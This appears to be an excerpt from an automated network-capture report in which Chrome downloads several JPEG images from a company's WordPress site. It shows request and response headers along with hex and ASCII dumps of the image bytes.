2024-10-07 11:17:39 UTC	2595	IN	Data Raw: 4f d3 5a 66 ee 7d cb 73 fb 79 ab 1a f3 f0 bd dd 43 97 fa 26 b3 6d a6 5c d3 1a 7c cc b6 ff 00 92 2b 5f fa 9d 41 ce 80 06 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 ad cc e9 86 67 c6 26 26 3d 7a c2 1e d3 2e e2 d3 a5 78 c4 73 4b dd ce 98 2d eb af f9 a1 ab b7 7f e3 eb e7 3e de 50 c5 99 eb f8 5f 4a fe eb 48 be b7 e9 d2 d1 c2 55 bd bb 27 cb cd 7c 5f a9 68 99 f5 4e 8b 5e f3 7e 9b e9 e1 35 8d 3d f6 d5 53 b1 ac 5b 35 e7 f7 74 fb 58 ea 62 d5 f6 81 de ed 3f d5 60 c7 1c 38 45 b2 7a 6b af 52 97 6f f3 37 3b b9 9a 70 8b 4d a7 87 0d 2b 33 af b9 63 dd 32 Data Ascii: OZf}syC&m\\|+_Ag&&=z.xsK->P_JHU'\|_hN^~5=S[5tXb?`8EzkRo7;pM+3c2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49971	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:39 UTC	655	OUT	GET /2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:39 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 12 Mar 2018 20:20:55 GMT Accept-Ranges: bytes Content-Length: 19334 Content-Type: image/jpeg
2024-10-07 11:17:39 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 74 ae 9a 74 c5 7c 90 93 ea 7b 2b b5 97 92 a5 f8 cb 3b 6f f6 53 cf 24 fa 27 f5 35 fc 5f 87 4f db 9f bb 29 79 ba d4 f0 df b6 e5 1e 4e af d0 d3 6e 35 af ef 7c f6 96 ac fe 25 b5 db e3 eb c5 33 93 a7 59 b5 34 9d 66 25 53 65 e3 33 92 96 c9 9b 6d eb 5a d3 31 d3 a4 7a bd 9a c4 c9 b3 33 59 fd 5f d2 46 88 f1 7c 5f f8 d6 f4 c1 f9 c5 3b 36 d3 e9 84 e3 db 5a b0 98 56 8f 16 a7 6e df 48 f3 c3 2f cd b0 ff 00 e3 cf a6 0e 3d 9a b7 4e 6b 15 e4 e5 fe 71 8b 9c 6d e7 d3 09 fc ee b1 fe 85 a3 f7 a1 65 92 ee a5 ba ea 0e 67 e7 75 fc 19 fb d0 89 f1 dc 71 cf 0d be 49 86 fb fc fb 47 50 72 2d fc c5 8e 27 48 db de 67 cf 0c 7f e4 53 d9 b4 b7 df 83 bf cf b4 76 47 1e 3c 7e d3 c6 36 d3 e6 eb 84 db f9 82 b1 ff 00 c7 b7 2f 6a 0e ff 00 3e c7 5c 71 a7 f9 8e b1 ff 00 c6 b7 df 84 4f f3 2d 63 96 Data Ascii: tt\|{+;oS$'5_O)yNn5\|%3Y4f%Se3mZ1z3Y_F\|_;6ZVnH/=NkqmeguqIGPr-'HgSvG<~6/j>\qO-c
2024-10-07 11:17:39 UTC	3376	IN	Data Raw: ff 00 13 19 f0 dd 67 59 bd 79 69 f5 6d fc 67 4a 9b 1c 5f 82 db cd ab a5 23 a6 75 8d 78 71 f9 93 f0 18 3a e2 26 91 d3 a4 ce ba 46 ba fa 1d 7f ca e3 58 98 bc 70 e3 1a d6 d3 fd f4 fe 5b 3a c4 f5 d7 87 0f ab 6f f7 0e 94 d8 e3 fe 5f 82 6d 35 ac 56 ba 69 ce 22 75 d5 1f 03 86 31 f5 c6 38 ea d3 8c 69 1a 70 ed e4 ec 7e 57 13 33 36 b5 6d 3e 5a 4f 67 ef a7 f2 cf 52 69 d7 59 89 89 8d 7a 6d ca 7f fb 87 4b e8 d8 e4 db 61 b6 8a c6 94 8d 6d 31 11 c2 34 e3 df c0 af 87 ed a2 dd 36 a5 66 26 35 89 88 88 e5 df 1a 3a d6 f0 eb ce 9e bd 38 69 31 ea db b3 f7 c8 f0 fc 9a eb 6b 53 84 4c 46 95 b4 7c f3 79 3a d5 d8 e5 57 c3 76 77 ea ea c5 15 e9 98 88 88 d3 8f 96 78 35 6f 3c 2f 6f 15 88 ad 62 91 3a 4e b1 15 e3 a4 c6 bd 9c 39 bb 95 d8 4c 4c cc da 38 e9 f3 31 cf e1 f6 cd 5a c4 5a 2b 35 Data Ascii: gYyimgJ_#uxq:&FXp[:o_m5Vi"u18ip~W36m>ZOgRiYzmKam146f&5:8i1kSLF\|y:Wvwx5o</ob:N9LL81ZZ+5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49972	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:39 UTC	657	OUT	GET /2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:39 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 06 Apr 2018 15:10:17 GMT Accept-Ranges: bytes Content-Length: 19779 Content-Type: image/jpeg
2024-10-07 11:17:39 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 62 66 75 28 f3 b3 de a6 74 de a7 a5 8f c4 b5 31 98 ed e9 d5 54 bd 1f 72 cb 73 3d 72 e5 cd 64 62 8a 76 ed 70 47 0c 19 c6 47 c8 8e f1 da c7 46 56 88 bf da 44 fd 57 55 31 1c 7a 93 c2 94 8e 6c 2f 73 b1 fa ab 44 5c ff 00 10 df 04 e0 55 8c 23 6f 93 e2 5b 4e 1a 29 c2 79 71 96 ba 00 65 11 77 8a 53 1d 7f 2b 41 05 62 ab b1 c3 82 f1 54 cf 0a 00 5d 7b 56 6b bb 13 54 7c 9a 23 86 a9 e0 61 72 bd 9a 79 38 9b 45 f9 ae 88 a6 9d 14 53 c5 0a 8b 55 45 ba 74 53 56 d7 97 05 70 31 22 51 53 0b 62 9a 2d 57 5c 63 4c 4c f9 91 55 15 d1 3f 2a 26 27 ca b0 a4 e0 df 2d 44 cd 71 54 f0 53 a6 7f 4a 63 08 d5 1f 0b 9e 23 1a a2 26 70 8e 39 e4 8e 39 76 e5 a9 98 b5 15 ce 31 55 cf 97 31 3c 34 ed 7d 1f 44 68 5c 26 5b 00 d2 0e 6d e1 45 57 32 77 29 a2 36 aa f9 35 61 c3 a2 9a a2 a9 f5 43 a4 07 92 a6 Data Ascii: bfu(t1Trs=rdbvpGGFVDWU1zl/sD\U#o[N)yqewS+AbT]{VkT\|#ary8ESUEtSVp1"QSb-W\cLLU?*&'-DqTSJc#&p99v1U1<4}Dh\&[mEW2w)65aC
2024-10-07 11:17:39 UTC	3821	IN	Data Raw: 0e 0b bf ff 00 9f e6 e9 fd c6 66 d5 5c 9b 51 55 bf d5 da 7b a1 6e 52 61 f9 c5 df 0b 78 93 2b a6 d5 15 57 11 c7 66 ee 3e aa a6 27 d4 c2 73 3e 24 dd fa 6b af 33 67 67 8e ed 33 b3 ae a8 7e 9c 82 91 f9 de 5f c6 7b ee d6 1b 75 5b bf 4f e7 46 13 3e 98 77 da f1 cd bb 98 46 6f 27 1e 59 a7 4b d3 e6 f7 1e e8 ce 63 39 8c a5 ba aa 9e 1a e2 36 2a e9 51 84 be 36 6b c0 7b ba e6 9c ad eb 96 27 8a 2a c2 e5 3f b3 3e b3 5c 1b e5 7c bf 88 77 06 67 08 d3 6a a9 f2 e0 ef a6 d6 ef cc 44 cd 9b f1 8c f2 e0 f2 99 bf 05 6f 7b 11 35 59 9a 33 54 c7 15 33 b3 57 46 bc 23 d6 f9 55 51 bc 37 7d 7b 35 c5 dc ad 71 c1 4d 71 31 13 e8 a8 f9 c7 e0 fa cf e5 fa 0c ee db b1 f3 2a 8a a3 c9 2a 4e 4b 33 1f 45 e4 32 de 22 cf 5a 88 8b 9f 2e 9e 75 33 84 ea 97 d4 cb 78 96 ab 9a 22 ec c5 5c d9 d1 3a a5 33 Data Ascii: f\QU{nRax+Wf>'s>$k3gg3~_{u[OF>wFo'YKc96Q6k{'?>\\|wgjDo{5Y3T3WF#UQ7}{5qMq1**NK3E2"Z.u3x"\:3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49973	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:39 UTC	660	OUT	GET /2016/wp-content/uploads/2015/08/door-inner-headerless.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:39 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:47 GMT Accept-Ranges: bytes Content-Length: 66912 Content-Type: image/jpeg
2024-10-07 11:17:39 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 31 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky<1http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: ca f0 1d 19 6b 79 97 10 3d 41 4d 1d f6 db d9 56 3a 64 7f 15 23 5b 25 d0 a7 77 98 60 dc 78 d0 f3 59 b7 55 25 7a ca ce f9 5e e7 3b 36 39 9d d0 ac 4a e5 f7 15 fe 5b 18 60 68 c6 ee e6 b5 fc 08 1a 4d 3f 39 e3 d0 ba 46 50 b2 e6 ce c0 79 b6 be 93 4f 91 07 a5 45 00 6d 85 a3 47 28 db 87 99 48 8b a3 89 e2 46 81 8b 46 25 06 fc da a7 dd 7a 45 dd d3 4d 27 91 86 28 8f 3e de 07 da b5 d5 2b cf 01 75 cd ec 51 9a 92 e7 35 b4 e9 a9 09 55 e8 9a a5 c3 21 b7 9a 47 c8 1a c8 63 73 ce 6e 41 8d a8 18 75 04 90 7a 67 87 56 b2 5a ec 1d bb 04 ad cb 30 d3 ad 5d 33 4f 29 1f 13 5c ff 00 dd 12 ad e5 b8 e8 94 51 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 06 ae ab aa 58 e9 5a 6d ce a5 7f 28 86 ce d2 33 2c d2 1a 9a 35 bd 00 62 49 e0 00 c4 9c 02 0f 1f Data Ascii: ky=AMV:d#[%w`xYU%z^;69J[`hM?9FPyOEmG(HFF%zEM'(>+uQ5U!GcsnAuzgVZ0]3O)\QXZm(3,5bI
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: e0 c8 32 34 f1 44 d7 51 6b 6d 14 31 b6 36 80 00 18 20 ca 5b 43 d4 a0 00 73 20 a9 03 35 10 53 ba a8 34 45 69 69 d0 fd a5 de 1f cb b8 1f cc 6a 90 ad d7 42 a8 ab 21 08 8c 37 4d 01 a7 a9 05 a6 b4 a0 54 50 34 9e 38 a8 32 32 2a f1 54 66 74 07 2e 03 14 44 e6 8b b5 ae 2e 23 37 17 34 8a 16 82 45 70 26 9c d4 d5 4f ed 1b 19 63 d5 e1 96 d7 2b 28 ec d5 38 82 19 da 70 15 e2 68 b5 8c eb 94 be b4 b8 1b c2 6b a7 82 7b e7 be 42 ee a7 54 ac e6 46 b7 5b a2 d2 59 e3 8f 23 5c f2 45 00 68 a9 26 ab 35 a8 9a d3 bc 3e d6 ae 5c 0c c0 5a b0 e3 95 dd a7 fe 63 6a 47 9d 07 7f a1 ed cd 2f 4a 22 e1 c4 c9 3c 60 87 4a e2 28 da 8a 1c 07 65 b8 74 b9 6f af 5c e5 35 c5 ea fa 66 82 cb d7 b6 cf 51 b4 0d 75 6b 11 98 f6 6a 79 3f 29 61 fc e0 99 19 d6 91 da f7 12 38 9b 57 36 66 f1 0f 8a 48 64 f5 47 Data Ascii: 24DQkm16 [Cs 5S4EiijB!7MTP4822*Tft.D.#74Ep&Oc+(8phk{BTF[Y#\Eh&5>\ZcjG/J"<`J(eto\5fQukjy?)a8W6fHdG
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 9a 68 e0 dd 14 b0 ca f8 66 69 64 b1 b8 b5 ec 38 10 e0 68 41 44 64 cc 48 08 0e 77 60 92 83 42 4e 3e 52 8a 8f be 35 92 83 80 5a 88 d5 2d 6b ad af c1 38 f7 15 1f 92 f6 94 a4 40 69 cc ac 7e 57 1f 6a 55 4d 69 f1 91 a8 42 47 29 47 b5 4a 8e da cd c3 e2 80 e2 33 b4 9f 20 35 5a 88 e2 84 9d e4 f7 32 93 52 e7 13 5f 5a b5 5a 51 44 66 be 64 63 8b 88 00 75 93 45 8a b1 f5 0e db 95 90 69 4f 2e 76 56 c6 ca 03 d5 1b 72 8f 53 57 92 cf ae d1 35 e1 95 bb 61 d8 ba 4c 80 d7 e3 62 76 a0 e2 7a 6f a4 75 d1 f5 cc bd ce 4e 9d 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 07 8c 5b 5c 99 27 d4 ae 09 2e 75 c6 a7 77 23 5c 3e a3 ae 5e 23 ff 00 8b 0d 53 b3 25 bb 6b be f4 7a fb b6 ec 9e ed dd 5d dc 6e 20 fe e5 73 fd ad 46 cd b3 4b ad f3 34 e2 6a 4a ca Data Ascii: hfid8hADdHw`BN>R5Z-k8@i~WjUMiBG)GJ3 5Z2R_ZZQDfdcuEiO.vVrSW5aLbvzouN[\'.uw#\>^#S%kz]n sFK4jJ
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: d2 87 31 6f 71 5f 3c 91 7f 15 67 b0 f3 bd d3 25 76 95 c5 0e 26 66 7a aa b9 f6 e6 11 33 e0 cb 8b 36 8b a4 18 91 3c 66 9f d2 39 4f ec fc 6b ab bf d4 63 86 e2 d2 49 1c 5c 28 4b b2 8c 31 eb a2 e5 1a ae 3e 52 d2 f3 96 b8 70 23 9a e8 c3 61 9d ab 60 5f d9 22 a4 56 80 83 e7 35 41 ce ee 70 3e e0 bc 24 e3 9d 9f 2a d2 3c 23 54 6b 59 70 f2 4d 03 b1 1d 6b 62 1e 69 e2 73 83 43 73 3a b8 05 46 ed 93 fb ba 17 8a 1e 41 11 2f 61 a9 18 d9 28 a0 19 88 a8 1c c5 6b f2 20 96 75 6f 2d 87 77 8f 48 1d 4a 51 d4 6c 0d b3 1e b5 ae 58 e8 e2 56 db 7c 51 7e 79 88 cd 40 c8 dd 21 a3 6a dc c4 e5 a7 1e b4 1b fb b3 41 87 45 dc 37 7a 54 73 0b 9f 84 73 5a 27 0d cb 5c cc 6b e9 4a bb 16 e6 a1 c7 8a 96 2b 56 de d3 20 cd 4a 12 14 1d f6 cc f0 f2 fb 5e d1 e5 d4 fb f6 db 42 73 c7 64 c7 0a 99 65 89 e5 Data Ascii: 1oq_<g%v&fz36<f9OkcI\(K1>Rp#a`_"V5Ap>$*<#TkYpMkbisCs:FA/a(k uo-wHJQlXV\|Q~y@!jAE7zTssZ'\kJ+V J^Bsde
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 96 4a 7d 16 38 fa 02 55 60 f0 76 ca 29 f7 2e 8f 1b c0 76 7b c3 31 af d6 89 ae b8 6f 11 c8 b1 59 f8 3e a3 5d 01 01 01 01 01 01 01 01 01 01 01 01 07 19 bf ed 20 8a e7 4f d4 e5 68 74 12 17 58 5f c6 47 e9 20 99 ae ec 1e aa 67 f4 ac 77 9f 16 3e 49 dd fb 62 5d 33 5a d4 74 af 79 f6 53 c9 1c 6f fa cd 06 ac 77 e5 34 82 a7 5b b1 2a 47 c3 bd c8 eb 49 c5 ac a7 b1 ee b9 b5 e5 fd e4 b0 7a 5c b2 82 d3 90 e6 61 ed 35 dd 45 62 15 25 b4 75 76 5a 6a b0 b6 57 06 b7 38 73 1c 78 07 0e 9e a2 30 2a d2 37 7c 4f c9 a9 ed fb 8d 2a 2a 49 75 a6 cd f1 7a 44 c3 89 68 ae 78 bc 8e 61 34 eb 01 4d 54 5f 86 5b fb b8 b8 b1 bc 99 e3 b9 20 5a de e6 34 a4 4e 23 b6 7a e3 34 3c 38 02 39 ad cf 95 1f 41 2e 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 Data Ascii: J}8U`v).v{1oY>] OhtX_G gw>Ib]3ZtySow4[GIz\a5Eb%uvZjW8sx07\|O**IuzDhxa4MT_[ Z4N#z4<89A.
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 75 d4 75 76 1c 14 54 74 b6 10 bd c5 ce 6d 0f 48 c0 fa 42 0d 01 a1 c3 33 dd 47 96 d0 f6 68 1b 5a 79 68 9a 33 3b 4b bf b6 15 82 52 e0 3e 8b b1 aa a8 f4 4d 81 e3 96 b9 a3 4a cd 3f 5c 0f bf d3 db d9 a3 cd 6e 23 15 fe 4d ee a6 61 f8 2f 3e 42 15 95 5f 42 68 7a f6 91 ae 58 32 ff 00 4b b9 6d cd b3 b0 2e 6e 05 ae e2 5a f6 9a 39 ae ea 2b 63 7d 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 05 1c e6 b5 a5 ce 21 ad 68 a9 27 00 00 41 e5 3b fb c6 bb 3b 38 a5 b2 db 32 32 e2 e2 84 4b aa 9a 3a 08 8f 0f b1 07 09 5d f8 5e e0 c3 de c4 2c da 3c 12 e2 f2 fb 57 ba 78 6b de f1 23 8b e7 9e 42 5c e7 b9 c6 ae 73 9c 71 24 ac a2 66 ca d2 3b 78 84 6c 1c 38 9e 92 83 62 69 5b 0c 64 f3 41 ab 05 b3 a6 77 7d 38 ec 9f 75 87 e5 50 6f c6 d6 01 40 d0 07 42 0c 33 5b 31 e7 30 ec bc 70 70 55 Data Ascii: uuvTtmHB3GhZyh3;KR>MJ?\n#Ma/>B_BhzX2Km.nZ9+c}!h'A;;822K:]^,<Wxk#B\sq$f;xl8bi[dAw}8uPo@B3[10ppU
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 78 87 ed 37 a2 17 69 fa 36 bd 1b 45 6d e5 7d 9d c1 03 12 d9 9b de 46 49 e8 69 89 c3 ca e5 28 f0 58 de 1d 99 b5 a9 1c 7a 16 04 3b 5a 60 bd 73 0f 0a d4 79 0a a3 76 d8 97 4c 1b 88 a9 41 d2 da c0 1d 1b a3 78 ae 61 56 a2 3b df 0c 35 f8 b6 fb ae fe 20 b8 45 33 72 00 00 73 5e 09 c5 af 1f bd 23 81 ea 2b 73 86 6b d1 6e 34 cd 1b 56 73 6e b4 3b a8 df de 37 34 90 34 d5 c1 dc eb 1d 73 b4 f9 88 52 f4 35 13 75 a3 ea 36 ee 76 78 5c 58 d1 da 74 7d b0 3f 1b 2f bb e7 59 bd 6a ca d6 63 a8 40 23 8a ca b3 c6 08 70 73 3b 2e 1c 0a 69 89 29 9b 6f a8 42 d6 5d d5 b2 b0 51 93 8c 48 1d 7d 4b 36 2e a0 ee f4 3d 4a d1 dd ed b8 33 44 31 cf 0e 24 79 5b c9 34 60 b7 dc 37 cc 6f 73 20 6d cc 7c 1d 0c a3 37 97 03 8a d6 a6 Data Ascii: x7i6Em}FIi(Xz;Z`syvLAxaV;5 E3rs^#+skn4Vsn;744sR5u6vx\Xt}?/Yjc@#ps;.i)oB]QH}K6.=J3D1$y[4`7os m\|7
2024-10-07 11:17:39 UTC	2954	IN	Data Raw: f2 7e cb 11 54 f7 7b 99 cd 6d 6a 03 ac 83 8f a4 4e df 62 60 a0 fd 95 d8 3f ff 00 a7 77 fb 10 ff 00 4e 98 0e fd 96 01 22 9b 9c 80 3f ea 3f f7 84 c1 69 fd 95 85 6a 37 41 c3 fe a3 ff 00 78 4c 0f ec b0 fa ff 00 f9 4f ff 00 e8 7f de 53 05 0f ec ac f3 5a ee 91 8f fd 43 fe f2 98 29 fd 95 5f ff 00 ed 23 fd 83 fe f2 98 2b fd 95 df 4a 7e b4 03 5f fa 85 3f fa 94 c1 43 fb 2b 3e 94 1b a0 7f b0 91 ff 00 d4 26 07 f6 58 9b ff 00 d9 9b fe c4 7f d3 a6 07 f6 58 9b ff 00 d9 9b fe c4 7f d3 a6 0a 1f d9 62 62 3f fc 9d bf ec 47 fd 3a 60 b0 fe ca 73 ff 00 fb 40 ff 00 62 3f e9 d3 05 8e fd 93 e6 3f ff 00 d4 37 fd 88 ff 00 da 13 05 ae fd 94 2e 87 b9 b9 d8 7c b6 64 7f 9f 29 83 1f f6 4f d4 39 6e 68 fc 9f 08 ef f4 a9 82 87 f6 4f d4 89 ff 00 f2 48 7f d9 5d fe 91 30 57 fb 28 6a 27 03 b9 Data Ascii: ~T{mjNb`?wN"??ij7AxLOSZC)_#+J~_?C+>&XXbb?G:`s@b??7.\|d)O9nhOH]0W(j'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49977	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:39 UTC	647	OUT	GET /2016/wp-content/uploads/2018/04/Liftgate.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:39 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 06 Apr 2018 15:41:27 GMT Accept-Ranges: bytes Content-Length: 39338 Content-Type: image/jpeg
